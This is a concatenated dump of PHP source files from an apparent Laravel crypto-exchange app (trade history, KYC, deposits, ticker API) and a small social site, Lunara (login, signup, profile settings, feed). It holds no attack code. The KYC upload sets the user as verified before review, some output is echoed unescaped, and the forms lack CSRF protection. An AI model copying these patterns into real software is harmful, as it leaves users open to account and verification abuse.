$faker->sentence, 'content' => $faker->paragraph, 'status' => $faker->randomElement(array_keys(ticket_status())), ]; }); <file_sep><?php namespace App\Http\Controllers\TradeHistory; use App\Http\Controllers\Controller; use App\Models\Exchange\Exchange; use App\Services\Core\DataTableService; use Illuminate\Support\Facades\Auth; use Illuminate\View\View; class MyTradeHistoryController extends Controller { public function __invoke(): View { $data['title'] = __('Trades'); $searchFields = [ ['trade_pair', __('Market')], ]; $orderFields = [ ['exchanges', __('Date')], ]; $filterFields = [ ['order_type', __('Type'), order_type()], ]; $queryBuilder = Exchange::where('user_id', Auth::id()) ->orderBy('created_at', 'desc'); $data['dataTable'] = app(DataTableService::class) ->setSearchFields($searchFields) ->setOrderFields($orderFields) ->setFilterFields($filterFields) ->create($queryBuilder); return view('trading.user.index', $data); } } <file_sep><?php namespace App\Http\Controllers\Transaction; use App\Http\Controllers\Controller; use App\Models\Coin\Exchange\Exchange; use App\Models\Deposit\WalletDeposit; use App\Models\Withdrawal\WalletWithdrawal; use App\Services\Core\DataTableService; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\DB; class MyRecentTransactionController extends Controller { public function index() { $exchange = Exchange::where('user_id', Auth::id()) ->select([ 'id', 'total as amount', 'coin', 'type', 'created_at' ]); $withdrawals = WalletWithdrawal::where('user_id', Auth::id()) ->where('status', STATUS_COMPLETED) ->select( 'id', 'amount', 'symbol as coin', DB::raw("'withdrawal' as type"), 'created_at' ); $transactions = WalletDeposit::where('user_id', Auth::id()) ->where('status', STATUS_COMPLETED) ->select( 'id', 'amount', 'symbol as coin', DB::raw("'deposit' as type"), 'created_at' ); $searchFields = [ ['symbol', __('Wallet')], ['amount', __('Amount')], ]; $orderFields = [ ['coin', __('Wallet')], ['amount', __('Amount')], ['created_at', __('Date')], ]; $filterFields = [ ['type', __('Type'), ['buy', 'sell', 'deposit', 'withdrawal']], ]; $data['title'] = __('Recent Transactions'); $queryBuilder = $transactions->union($withdrawals)->union($exchange)->orderBy('created_at', 'desc'); $data['dataTable'] = app(DataTableService::class) ->setSearchFields($searchFields) ->setOrderFields($orderFields) ->setFilterFields($filterFields) ->create($queryBuilder); return view('transactions.my_recent_transactions', $data); } } <file_sep><?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; class CreateWalletsTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('wallets', function (Blueprint $table) { $table->uuid('id')->primary(); $table->uuid('user_id')->index(); $table->string('symbol'); $table->decimal('primary_balance', 19, 8)->unsigned()->default(0); $table->string('address')->nullable(); $table->text('passphrase')->nullable(); $table->integer('is_system_wallet')->default(INACTIVE); $table->integer('is_active')->default(ACTIVE); $table->timestamps(); $table->index(['user_id', 'symbol']); $table->foreign('user_id') ->references('id') ->on('users') ->onDelete('restrict') ->onUpdate('cascade'); $table->foreign('symbol') ->references('symbol') ->on('coins') ->onDelete('restrict') ->onUpdate('cascade'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('wallets'); } } <file_sep><?php namespace App\Http\Controllers\Core; use App\Http\Controllers\Controller; use App\Models\Core\User; use Illuminate\Http\JsonResponse; use Illuminate\Http\Request; class AdminUserSearchController extends Controller { public function __invoke(Request $request): JsonResponse { $request->validate([ 'p-srch' => 'required' ]); $searchFields = [ 'original' => [ 'email', 'username', ], 'relations' => [ 'profile' => [ 'first_name', 'last_name', ] ] ]; $users = User::with('profile') ->where('users.assigned_role', USER_ROLE_ADMIN) ->where('status', STATUS_ACTIVE) ->where(function ($query) use ($searchFields, $request) { $query->likeSearch($searchFields, $request->get('p-srch')); }) ->get(); $response = []; if (!$users->isEmpty()) { foreach ($users as $user) { $response[] = [ 'id' => $user->id, 'name' => $user->profile->full_name, 'email' => $user->email, 'username' => $user->username, 'avatar' => get_avatar($user->avatar) ]; } } return response()->json($response); } } <file_sep><?php namespace App\Http\Controllers\KycManagement; use App\Http\Controllers\Controller; use App\Models\Core\Notification; use App\Models\Kyc\KycVerification; use Illuminate\Http\RedirectResponse; use Illuminate\Support\Facades\DB; class ApproveKycVerificationController extends Controller { public function index(KycVerification $kycVerification): RedirectResponse { if ($kycVerification->status != STATUS_REVIEWING) { return redirect()->back()->with(RESPONSE_TYPE_ERROR, __('The KYC approve failed for wrong ID.')); } DB::beginTransaction(); try { $updateVerification = $kycVerification->update([ 'status' => STATUS_VERIFIED ]); if ($updateVerification) { $updateUser = $kycVerification->user()->update(['is_id_verified' => VERIFIED]); if (!$updateUser) { DB::rollBack(); return redirect()->back()->with(RESPONSE_TYPE_ERROR, __('Failed to approve.')); } $notification = ['user_id' => $kycVerification->user_id, 'message' => __("Your KYC verification request has been approved.")]; Notification::create($notification); } } catch (Exception $exception) { return redirect()->back()->with(RESPONSE_TYPE_ERROR, __('Failed to approve.')); } DB::commit(); return redirect()->back()->with(RESPONSE_TYPE_SUCCESS, __('The KYC has been approved successfully.')); } } <file_sep><?php namespace App\Http\Controllers\Deposit; use App\Http\Controllers\Controller; use App\Models\Deposit\WalletDeposit; use App\Services\Core\DataTableService; use App\Services\Deposit\DepositService; use Illuminate\Support\Facades\Auth; class AdminBankDepositReviewController extends Controller { public function index() { $data['title'] = __('Review Bank Deposits'); $data['userId'] = Auth::id(); $searchFields = [ ['id', __('Reference ID')], ['email', __('Email'), 'user'], ['bank_name', __('Bank'), 'bankAccount'], ['symbol', __('Wallet')], ['amount', __('Amount')], ]; $orderFields = [ ['symbol', __('Wallet')], ['amount', __('Amount')], ['created_at', __('Date')], ]; $queryBuilder = WalletDeposit::with("user", "bankAccount") ->where('api', API_BANK) ->where('status', STATUS_REVIEWING) ->orderBy('created_at'); $data['dataTable'] = app(DataTableService::class) ->setSearchFields($searchFields) ->setOrderFields($orderFields) ->create($queryBuilder); return view('deposit.admin.review_bank_deposits.index', $data); } public function show(WalletDeposit $deposit) { return app(DepositService::class)->show($deposit); } public function update(WalletDeposit $deposit) { return app(DepositService::class)->approve($deposit); } public function destroy(WalletDeposit $deposit) { return app(DepositService::class)->cancel($deposit); } } <file_sep><?php namespace App\Http\Controllers\Exchange; use App\Http\Controllers\Controller; use App\Models\Coin\CoinPair; use App\Services\Exchange\CoinPairService; use Carbon\Carbon; class PairDetailsController extends Controller { protected $coinPair; public function get24HrPairDetail(CoinPair $coinPair) { $this->coinPair = $coinPair->getRawOriginal("name"); $get24hrPairData = $this->getFirstCoinPairDetailByConditions(); if (empty($get24hrPairData)) { return false; } $pair24HrDetail = $this->_details($get24hrPairData); return response()->json($pair24HrDetail); } public function getFirstCoinPairDetailByConditions(): CoinPair { $coinPair = app(CoinPairService::class)->getPair($this->_conditions())->first(); $date = Carbon::now()->subDay()->timestamp; app(CoinPairService::class)->_generateExchangeSummary($coinPair, $date); return $coinPair; } public function _conditions(): array { return [ 'coin_pairs.name' => $this->coinPair, 'coin_pairs.is_active' => ACTIVE, 'coins.is_active' => ACTIVE, 'base_coins.is_active' => ACTIVE, 'base_coins.exchange_status' => ACTIVE, 'coins.exchange_status' => ACTIVE, ]; } public function _details($get24hrPairData): array { return [ 'baseCoin' => $get24hrPairData->base_coin_symbol, 'coin' => $get24hrPairData->trade_coin_symbol, 'lastPrice' => $get24hrPairData->last_price, 'change24hrInPercent' => $get24hrPairData->change_24, 'high24hr' => $get24hrPairData->high_24, 'low24hr' => $get24hrPairData->low_24, 'baseVolume' => $get24hrPairData->exchanged_base_coin_volume_24, 'coinVolume' => $get24hrPairData->exchanged_coin_volume_24 ]; } } <file_sep><?php namespace App\Http\Controllers\Api\Ticker; use App\Http\Controllers\Controller; use App\Http\Requests\Api\PublicApiRequest; use App\Http\Requests\ChartData\ChartDataRequest; use App\Models\Coin\CoinPair; use App\Models\Exchange\Exchange; use App\Models\Order\Order; use Carbon\Carbon; use Illuminate\Http\Request; use Illuminate\Support\Facades\DB; class PublicApiController extends Controller { public function __invoke(PublicApiRequest $request) { switch ($request->get('command')) { case 'returnTicker' : return $this->returnTicker($request); case 'returnOrderBook' : return $this->returnOrderBook($request); case 'returnTradeHistory' : return $this->returnTradeHistory($request); case 'returnChartData' : return $this->returnChartData($request); default: return []; } } public function returnTicker($request) { $coinPairs = CoinPair::select('base_coin', 'trade_coin', 'name', 'last_price') ->where('is_active', ACTIVE) ->when($request->get('tradePair'), function ($query) use($request) { $query->where('name', $request->tradePair); }) ->with('exchangeSummary', 'coin') ->get(); $formattedCoinPair = []; foreach($coinPairs as $coinPair) { $formattedCoinPair[$coinPair->name] = [ 'last' => $coinPair->last_price, 'low24hr' => "0", 'high24hr' => "0", 'change' => "0", 'tradeVolume' => "0", 'baseVolume' => "0", ]; if ($coinPair->exchangeSummary !== null) { $formattedCoinPair[$coinPair->name]['low24hr'] = $coinPair->exchangeSummary->low_price; $formattedCoinPair[$coinPair->name]['high24hr'] = $coinPair->exchangeSummary->high_price; $formattedCoinPair[$coinPair->name]['tradeVolume'] = $coinPair->exchangeSummary->trade_coin_volume; $formattedCoinPair[$coinPair->name]['baseVolume'] = $coinPair->exchangeSummary->base_coin_volume; $formattedCoinPair[$coinPair->name]['change'] = bcmul(bcdiv(bcsub($coinPair->last_price, $coinPair->exchangeSummary->first_price), $coinPair->exchangeSummary->first_price), '100', 2); } } $response = $request->has('tradePair') ? $formattedCoinPair[$request->get('tradePair')] : $formattedCoinPair; return response()->json($response); } public function returnOrderBook($request) { $conditions = [ 'trade_pair' => $request->get('tradePair'), 'status' => STATUS_PENDING ]; $bidOrders = Order::where($conditions) ->select([ 'price', DB::raw('TRUNCATE(SUM(amount - exchanged), 8) as amount'), DB::raw('TRUNCATE((price*SUM(amount - exchanged)), 8) as total') ]) ->where('type', ORDER_TYPE_BUY) ->whereIn('category', [ORDER_CATEGORY_LIMIT, ORDER_CATEGORY_STOP_LIMIT]) ->groupBy('price') ->orderByDesc('price') ->take(50) ->get(); $askOrders = Order::where($conditions) ->select([ 'price', DB::raw('TRUNCATE(SUM(amount - exchanged), 8) as amount'), DB::raw('TRUNCATE((price*SUM(amount - exchanged)), 8) as total') ]) ->where('type', ORDER_TYPE_SELL) ->whereIn('category', [ORDER_CATEGORY_LIMIT, ORDER_CATEGORY_STOP_LIMIT]) ->groupBy('price') ->orderBy('price') ->take(50) ->get(); $response = [ 'asks' => $askOrders, 'bids' => $bidOrders, ]; return response()->json($response); } public function returnTradeHistory($request) { $conditions = [ 'trade_pair' => $request->get('tradePair'), 'is_maker' => ACTIVE ]; $response = Exchange::select([ 'price', 'amount', 'total', 'order_type as type', 'created_at as date', ]) ->where($conditions) ->when($request->has('start') && $request->has('end'), function ($query) use($request) { $query->whereBetween('created_at', [ date('Y-m-d H:i:s', $request->get('start')), date('Y-m-d H:i:s', $request->get('end'))] ); }) ->orderBy('created_at', 'desc') ->take(100) ->get(); return response()->json($response); } public function returnChartData($request) { $interval = $request->get('interval', 300); $tradePair = $request->get('tradePair'); $start = (int)$request->get('start'); $end = (int)$request->get('end'); $response = Exchange::query() ->selectRaw('floor(min(UNIX_TIMESTAMP(created_at)) / ? ) * ? as date', [$interval, $interval]) ->selectRaw('MIN(price) as low, MAX(price) as high') ->selectRaw('SUM(amount) as volume') ->selectRaw("SUBSTRING_INDEX(MIN(CONCAT(created_at, '_', price)), '_', -1) as open") ->selectRaw("SUBSTRING_INDEX(MAX(CONCAT(created_at, '_', price)), '_', -1) as close") ->where('trade_pair', $tradePair) ->where('is_maker', ACTIVE) ->whereRaw('UNIX_TIMESTAMP(created_at) > ?', $start) ->when($request->has('end'), function($query) use($end) { $query->whereRaw('UNIX_TIMESTAMP(created_at) < ?', $end); }) ->groupByRaw('FLOOR(UNIX_TIMESTAMP(created_at) / ?)', [$interval]) ->orderBy('date', 'asc') ->get(); return response()->json($response); } } <file_sep><?php namespace App\Models\Exchange; use App\Models\Coin\Coin; use App\Models\Coin\CoinPair; use App\Models\Order\Order; use App\Override\Eloquent\LaraframeModel as Model; use Illuminate\Database\Eloquent\Relations\BelongsTo; use Illuminate\Database\Eloquent\Relations\HasOne; use Illuminate\Support\Str; class Exchange extends Model { public $incrementing = false; protected $keyType = 'string'; protected $fillable = [ 'user_id', 'exchange_group_id', 'order_id', 'trade_coin', 'base_coin', 'amount', 'price', 'total', 'fee', 'referral_earning', 'type', 'related_order_id', 'base_order', 'is_maker', ]; protected static function boot(): void { parent::boot(); static::creating(static function ($model) { $model->{$model->getKeyName()} = Str::uuid()->toString(); }); } public function order(): BelongsTo { return $this->belongsTo(Order::class); } public function coin(): BelongsTo { return $this->belongsTo(Coin::class, 'trade_coin', 'symbol'); } public function baseCoin() : BelongsTo { return $this->belongsTo(Coin::class, 'base_coin', 'symbol'); } public function coinPair(): BelongsTo { return $this->belongsTo(CoinPair::class, 'trade_pair', 'name'); } } <file_sep><?php namespace App\Http\Controllers\Post; use App\Http\Controllers\Controller; use App\Http\Requests\Post\PostRequest; use App\Models\Post\Post; use App\Services\Core\DataTableService; use App\Services\Post\PostCategoryService; use App\Services\Post\PostService; use Exception; use Illuminate\Http\RedirectResponse; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Str; use Illuminate\View\View; class PostController extends Controller { protected $service; public function __construct(PostService $service) { $this->service = $service; } public function index(): View { $searchFields = [ ['title', __('Title')], ]; $orderFields = [ ['title', __('Title')], ['is_published', __('Status')], ]; $data['title'] = __('Posts'); $queryBuilder = Post::with('postCategory') ->orderBy('created_at', 'desc'); $data['dataTable'] = app(DataTableService::class) ->setSearchFields($searchFields) ->setOrderFields($orderFields) ->create($queryBuilder); return view('posts.admin.posts.index', $data); } public function create(): View { $data['title'] = __('Post Create'); $data['postCategories'] = app(PostCategoryService::class)->activeCategories(); return view('posts.admin.posts.create', $data); } public function store(PostRequest $request): RedirectResponse { $attributes = $this->_attributes($request); $attributes['user_id'] = Auth::id(); try { Post::create($attributes); } catch (Exception $exception) { if ($exception->getCode() == 23000) { return redirect()->back()->withInput()->with(RESPONSE_TYPE_ERROR, __('Failed to create post for duplicate entry!')); } return redirect()->back()->withInput()->with(RESPONSE_TYPE_ERROR, __('Failed to create new post.')); } return redirect()->route('posts.index')->with(RESPONSE_TYPE_SUCCESS, __('The post has been created successfully.')); } public function show(Post $post): View { $data['title'] = __('Post Show'); $data['post'] = $post; return view('posts.admin.posts.show', $data); } public function edit(Post $post): View { $data['title'] = __('Post Edit'); $data['postCategories'] = app(PostCategoryService::class)->activeCategories(); $data['post'] = $post; return view('posts.admin.posts.edit', $data); } public function update(PostRequest $request, Post $post): RedirectResponse { $attributes = $this->_attributes($request); try { $post->update($attributes); } catch (Exception $exception) { if ($exception->getCode() == 23000) { return redirect()->back()->withInput()->with(RESPONSE_TYPE_ERROR, __('Failed to update post for duplicate entry!')); } return redirect()->back()->withInput()->with(RESPONSE_TYPE_ERROR, __('Failed to update post.')); } return redirect()->route('posts.edit', $post->id)->with(RESPONSE_TYPE_SUCCESS, __('The post has been updated Successfully.')); } public function destroy(Post $post): RedirectResponse { if ($post->delete()) { return redirect()->back()->with(RESPONSE_TYPE_SUCCESS, __("The post has been deleted successfully.")); } return redirect()->back()->with(RESPONSE_TYPE_ERROR, __("Failed to delete the post.")); } public function _attributes($request): array { $attributes = $request->only('title', 'category_slug', 'is_published', 'is_featured'); $attributes['content'] = $request->get('editor_content'); if ($featured_image = $this->service->_uploadThumbnail($request)) { $attributes['featured_image'] = $featured_image; } return $attributes; } } <file_sep><?php namespace App\Http\Controllers\Coin; use App\Http\Controllers\Controller; use App\Http\Requests\Coin\CoinApiRequest; use App\Models\BankAccount\BankAccount; use App\Models\Coin\Coin; use Illuminate\Contracts\View\View; use Illuminate\Http\RedirectResponse; class AdminCoinApiOptionController extends Controller { protected $service; public function edit(Coin $coin): View { $data['title'] = __('Edit API'); $data['coin'] = $coin; $data['bankAccounts'] = BankAccount::whereNull('user_id')->pluck('bank_name', 'id'); return view('coins.admin.api_form', $data); } public function update(CoinApiRequest $request, Coin $coin): RedirectResponse { $api['selected_apis'] = $request->get('api', []); if ($coin->type === COIN_TYPE_FIAT && in_array(API_BANK, $api['selected_apis'])) { $api['selected_banks'] = $request->get('banks', []); } if ($coin->update(['api' => $api])) { return redirect()->back()->with(RESPONSE_TYPE_SUCCESS, __('The coin API has been updated successfully.')); } return redirect()->back()->withInput()->with(RESPONSE_TYPE_ERROR, __('Failed to update coin API.')); } } <file_sep><?php namespace App\Models\Core; use App\Models\BankAccount\BankAccount; use App\Override\Eloquent\LaraframeModel as Model; use Illuminate\Database\Eloquent\Relations\HasMany; class Country extends Model { protected $fillable = [ 'name', 'code', 'phone_code', 'is_active' ]; public function bankAccounts(): HasMany { return $this->hasMany(BankAccount::class); } } <file_sep><?php namespace App\Http\Controllers\KycManagement; use App\Http\Controllers\Controller; use App\Http\Requests\Kyc\UserKycVerificationRequest; use App\Models\Kyc\KycVerification; use App\Override\Logger; use App\Services\Core\FileUploadService; use Exception; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\DB; use Illuminate\Support\Str; use Illuminate\View\View; class UserKycController extends Controller { public function index(): View { $data['user'] = Auth::user(); $data['title'] = __('Upload ID'); $data['kycVerification'] = $data['user']->kycVerification(STATUS_VERIFIED)->first(); if (is_null($data['kycVerification'])) { $data['kycVerification'] = $data['user']->kycVerification(STATUS_REVIEWING)->first(); } return view('kyc_management.user.index', $data); } public function store(UserKycVerificationRequest $request) { $uploadedIdFiles = []; foreach ($request->allFiles() as $fieldName => $file) { $uploadedIdFiles[$fieldName] = app(FileUploadService::class)->upload($file, config('commonconfig.path_id_image'), $fieldName, 'id', Auth::id(), 'public'); } if (!empty($uploadedIdFiles)) { $attributes['card_image'] = $uploadedIdFiles; $attributes['status'] = STATUS_REVIEWING; $attributes['id'] = Str::uuid(); $attributes['user_id'] = Auth::id(); $attributes['type'] = $request->id_type; if (Auth::user()->is_id_verified === VERIFIED) { return redirect()->back()->with(RESPONSE_TYPE_ERROR, __('You can\'t change your ID verification information for having existing ID verification.')); } DB::beginTransaction(); try { $created = KycVerification::create($attributes); if (!$created) { throw new Exception('Failed to create KYC Verification.'); } $updateUser = Auth::user()->update(['is_id_verified' => VERIFIED]); if (!$updateUser) { throw new Exception('Failed to update user while KYC verification.'); } } catch (Exception $exception) { DB::rollBack(); Logger::error($exception, "[FAILED][UserKycController][store]"); return redirect()->back()->with(RESPONSE_TYPE_ERROR, __('Failed to upload ID.')); } DB::commit(); } return redirect()->route('kyc-verifications.index')->with(RESPONSE_TYPE_SUCCESS, __('ID has been uploaded successfully.')); } }
4fd5960a576e3c4d3986d6b6650cfef673d1e09d
[ "JavaScript", "Markdown", "PHP", "Shell" ]
231
PHP
cryptobuks1/cipher
8e721a3411e35039e9015373340513d3bcdeb57d
8982fca2cad60729dab2bf2adcb4c6e9797f9164
refs/heads/master
<repo_name>OfficialExedo/Lunara<file_sep>/profile-settings.php <?php include('classes/DB.php'); session_start(); if (!isset($_SESSION['loggedin']) || $_SESSION['loggedin'] !== true) { header('location: login.php'); exit(); } $username = $_SESSION['username']; $id = $_SESSION['id']; if (isset($_POST['updateprofile'])) { if ($_POST['realname'] && preg_match('/[^\s]/', $_POST['realname'])) { DB::query('UPDATE users SET real_name=:real_name WHERE id=:id', array(':real_name'=>$_POST['realname'], ':id'=>$id)); } if ($_POST['bio']) { $bio = $_POST['bio']; if (strlen($bio) <= 120) { DB::query('UPDATE users SET bio=:bio WHERE id=:id', array(':bio'=>$bio, ':id'=>$id)); } else { echo 'Bio can\'t be more than 120 characters'; } } if ($_POST['location']) { $location = $_POST['location']; DB::query('UPDATE users SET location=:location WHERE id=:id', array(':location'=>$location, ':id'=>$id)); } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>Lunara Sign Up</title> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css"> <style type="text/css"> body{font:14 px sans-serif} .wrapper{width: 350px; padding: 20px;} </style> </head> <body> <div class="header"> <h1>Profile Settings for <?php echo htmlspecialchars($username); ?></h1> </div> <div class="wrapper"> <form action="<?php echo htmlspecialchars($_SERVER['PHP_SELF']); ?>" method="POST"> <div class="form-group"> <label>Full Name</label> <input type="text" name="realname" class="form-control"> </div> <div class="form-group"> <label>Bio</label> <input type="text" name="bio" class="form-control"> </div> <div class="form-group"> <label>Location</label> <input type="text" name="location" class="form-control"> </div> <div class="form-group"> <input type="submit" name="updateprofile" class="btn btn-primary" value="Save changes"> <input type="reset" class="btn btn-danger" value="Discard changes"> </div> </form> </div> </body> </html><file_sep>/login.php <?php include('classes/DB.php'); $username = $password = $error = ''; session_start(); if (isset($_SESSION['loggedin'])) { if ($_SESSION['loggedin']) { header('location: index.php'); exit; } } if (isset($_POST['login'])) { $username = $_POST['username']; $password = $_POST['password']; if (DB::query('SELECT id FROM users WHERE username=:username', array(':username'=>$username))) { if (password_verify($password, DB::query('SELECT password FROM users WHERE username=:username', array(':username'=>$username))[0]['password'])) { $_SESSION['loggedin'] = true; $_SESSION['id'] = DB::query('SELECT id FROM users WHERE username=:username', array(':username'=>$username))[0]['id']; $_SESSION['username'] = $username; header('location: index.php'); } else { $error = 'Invalid username or password'; } } else { $error = 'Invalid username or password'; } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css" type="text/css"> <link rel="stylesheet" href="assets/css/registerlogin.css" type="text/css"> </head> <body> <div class="container"> <div class="row justify-content-center"> <div class="col-sm-6 col-md-4 col-md-offset-4"> <h1 class="text-center">Login to Lunara</h1> <div class="account-wall"> <img class="profile-img" src="./assets/img/logo.png" alt=""> <form class="form-signin" action="login.php" method="POST"> <input type="text" class="form-control" placeholder="Username" name="username" id="top" required autofocus> <input type="password" class="form-control" placeholder="<PASSWORD>" name="password" id="bottom" required> <button class="btn btn-lg btn-primary btn-block" type="submit" name="login">Login</button> <p>Don't have an account? <a href="create-account.php">Sign up here</a>.</p> <?php if ($error != '') echo '<div class="alert alert-danger" role="alert">'.$error.'</div>'; ?> </form> </div> </div> </div> </div> </body> </html><file_sep>/create-account.php <?php include('classes/DB.php'); session_start(); // If user is logged in, redirect them to the home page if (isset($_SESSION['loggedin'])) { if ($_SESSION['loggedin']) { header('location: index.php'); exit; } } $username = $password = $email = $error = ''; if (isset($_POST['createaccount'])) { $username = $_POST['username']; $password = $_POST['<PASSWORD>']; $confirmpassword = $_POST['passwordconfirm']; $email = $_POST['email']; if (!DB::query('SELECT username FROM users WHERE username=:username', array(':username'=>$username))) { if (strlen($username) >= 5 && strlen($username) <= 32 && preg_match('/[a-zA-Z0-9._]+/', $username)) { if ($password == $conf<PASSWORD>assword) { if (strlen($password) >= 6 && strlen($password) <= 60) { if (filter_var($email, FILTER_VALIDATE_EMAIL)) { DB::query('INSERT INTO users VALUES(\'\', :username, :password, :email, :username, \'\', 0, \'\', \'\', NOW())', array(':username'=>$username, ':password'=>password_hash($password, PASSWORD_<PASSWORD>), ':email'=>$email)); header('location: login.php'); } else { $error = 'Invalid email'; } } else { $error = 'Invalid password'; } } else { $error = 'Passwords don\'t match'; } } else { $error = 'Invalid username'; } } else { $error = 'User already exists'; } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css" type="text/css"> <link rel="stylesheet" href="assets/css/registerlogin.css" type="text/css"> </head> <body> <div class="container"> <div class="row justify-content-center"> <div class="col-sm-6 col-md-4 col-md-offset-4"> <h1 class="text-center">Register for Lunara</h1> <div class="account-wall"> <img class="profile-img" src="./assets/img/logo.png" alt=""> <form class="form-signin" action="create-account.php" method="POST"> <input type="text" class="form-control" placeholder="Username" name="username" id="top" required autofocus> <input type="email" class="form-control" placeholder="Email" name="email" id="middle" required> <input type="<PASSWORD>" class="form-control" placeholder="<PASSWORD>" name="password" id="middle" required> <input type="<PASSWORD>" class="form-control" placeholder="<PASSWORD>" name="<PASSWORD>" id="bottom" required> <button class="btn btn-lg btn-primary btn-block" type="submit" name="createaccount">Sign Up</button> <p>Already have an account? <a href="login.php">Login here</a>.</p> <?php if ($error != '') echo '<div class="alert alert-danger" role="alert"> '.$error.' </div>'; ?> </form> </div> </div> </div> </div> </body> </html><file_sep>/reset-password.php <?php include('classes/DB.php'); session_start(); if (!isset($_SESSION['loggedin']) || $_SESSION['loggedin'] !== true) { header('location: login.php'); exit; } if (isset($_POST['changepassword'])) { $password = $_POST['password']; if (strlen($password) >= 6 && strlen($password) <= 60) { DB::query('UPDATE users SET password = :password WHERE id = :id', array(':password'=>password_hash($password, PASSWORD_BCRYPT), ':id' => $_SESSION['id'])); session_destroy(); header('location: login.php'); exit(); } else { echo ' Invalid password'; } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>Lunara Sign Up</title> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css"> <style type="text/css"> body{font:14 px sans-serif} .wrapper{width: 350px; padding: 20px;} </style> </head> <body> <div class="wrapper"> <h2>Reset Password</h2> <form action="<?php echo htmlspecialchars($_SERVER['PHP_SELF']); ?>" method="POST"> <div class="form-group"> <label>New Password</label> <input type="<PASSWORD>" name="password" class="form-control"> </div> <div class="form-group"> <input type="submit" name="changepassword" class="btn btn-primary" value="Change password"> <a class="btn btn-link" href="index.php">Cancel</a> </div> </form> </div> </body> </html><file_sep>/index.php <?php include('classes/DB.php'); session_start(); if (!isset($_SESSION['loggedin']) || $_SESSION['loggedin'] !== true) { header('location: login.php'); exit; } $username = $_SESSION['username']; $recommended = array(); $recommended_ids = array(); for ($i = 0; $i < 3; $i++) { $ids = DB::query('SELECT id FROM users'); $recommended_id = $ids[array_rand($ids)]['id']; $recommended_name = DB::query('SELECT username FROM users WHERE id=:id', array(':id' => $recommended_id))[0]['username']; while (in_array($recommended_name, $recommended, false) || $recommended_name == $username) { $recommended_id = $ids[array_rand($ids)]['id']; $recommended_name = DB::query('SELECT username FROM users WHERE id=:id', array(':id' => $recommended_id))[0]['username']; } $recommended[$i] = $recommended_name; $recommended_ids[$i] = $recommended_id; } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css"> <link href="https://maxcdn.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet"> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script> <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js"></script> <title>Lunara</title> </head> <body> <div class="container"> <nav class="navbar navbar-expand-md navbar-dark bg-primary"> <ul class="navbar-nav mr-auto"> <li class="nav-item active"> <a class="nav-link" href=#><i class="fa fa-home" style="padding-right: 5px;"></i>Home</a> </li> </li class="nav-item"> <a class="nav-link" href=#><i class="fa fa-bell" style="padding-right: 5px;"></i>Notifications</a> </li> <li class="nav-item"> <a class="nav-link" href=#><i class="fa fa-envelope" style="padding-right: 5px;"></i>Messages</a> </li> </ul> <ul class="navbar-nav"> <li class="nav-item"> <form class="form-inline"> <input class="form-control" type="search" name="term" placeholder="Search"> <button class="btn btn-outline-light" type="submit">Search</button> </form> </li> <li class="nav-item dropdown"> <a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown"><?php echo htmlspecialchars($username);?></a> <div class="dropdown-menu"> <a class="dropdown-item" href="profile.php"><i class="fa fa-user" style="padding: 5px;"></i>Profile</a> <a class="dropdown-item" href="profile-settings.php"><i class="fa fa-cog" style="padding: 5px;"></i>Settings</a> <a class="dropdown-item" href="logout.php">Logout</a> </div> </li> </ul> </nav> <div class="row" style="padding-top: 5px"> <div class="col-md-6"> <form> <div class="input-group"> <input type="text" class="form-control" name="post-text" placeholder="What's happening?"> <span class="input-group-btn" style="padding-left: 5px"> <button type="submit" class="btn btn-primary" name="post">Post</button> </span> </div> </form> <ul class="list-group"> <li class="list-group-item"> <div> <h6>Test User: @TestUser</h6> <p>An example of a post</p> </div> </li> <li class="list-group-item"> <div> <h6>Test User: @TestUser</h6> <p>An example of a post</p> </div> </li> <li class="list-group-item"> <div> <h6>Test User: @TestUser</h6> <p>An example of a post</p> </div> </li> <li class="list-group-item"> <div> <h6>Test User: @TestUser</h6> <p>An example of a post</p> </div> </li> <li class="list-group-item"> <div> <h6>Test User: @TestUser</h6> <p>An example of a post</p> </div> </li> </ul> </div> <div class="col-md-4"> <ul class="list-group"> <li class="list-group-item"><h3>Who to follow</h3></li> <li class="list-group-item"> <?php $user_name = $recommended[0]; $real_name = DB::query('SELECT real_name FROM users WHERE username=:username', array(':username' => $user_name))[0]['real_name']; $isVerified = DB::query('SELECT verified FROM users WHERE username=:username', array(':username'=>$user_name))[0]['verified']; echo '<a class="" href="profile.php?username='.htmlspecialchars($user_name).'"><h5>'.htmlspecialchars($real_name); if($isVerified) echo '<i class="fa fa-check-circle" data-toggle="tooltip" title="Verifed User" style="font-size: 28px; padding: 0.25em;"></i>'; echo'</h5></a>'; echo '<h6 class="text-muted">@'.$user_name.'</h6>'; ?> <form action ="profile.php?username=<?php echo htmlspecialchars($recommended[0]); ?>" method="post"> <input type="submit" name="follow" class="btn btn-primary" value="Follow"> </form> </li> <li class="list-group-item"> <?php $user_name = $recommended[1]; $real_name = DB::query('SELECT real_name FROM users WHERE username=:username', array(':username' => $user_name))[0]['real_name']; $isVerified = DB::query('SELECT verified FROM users WHERE username=:username', array(':username'=>$user_name))[0]['verified']; echo '<a class="" 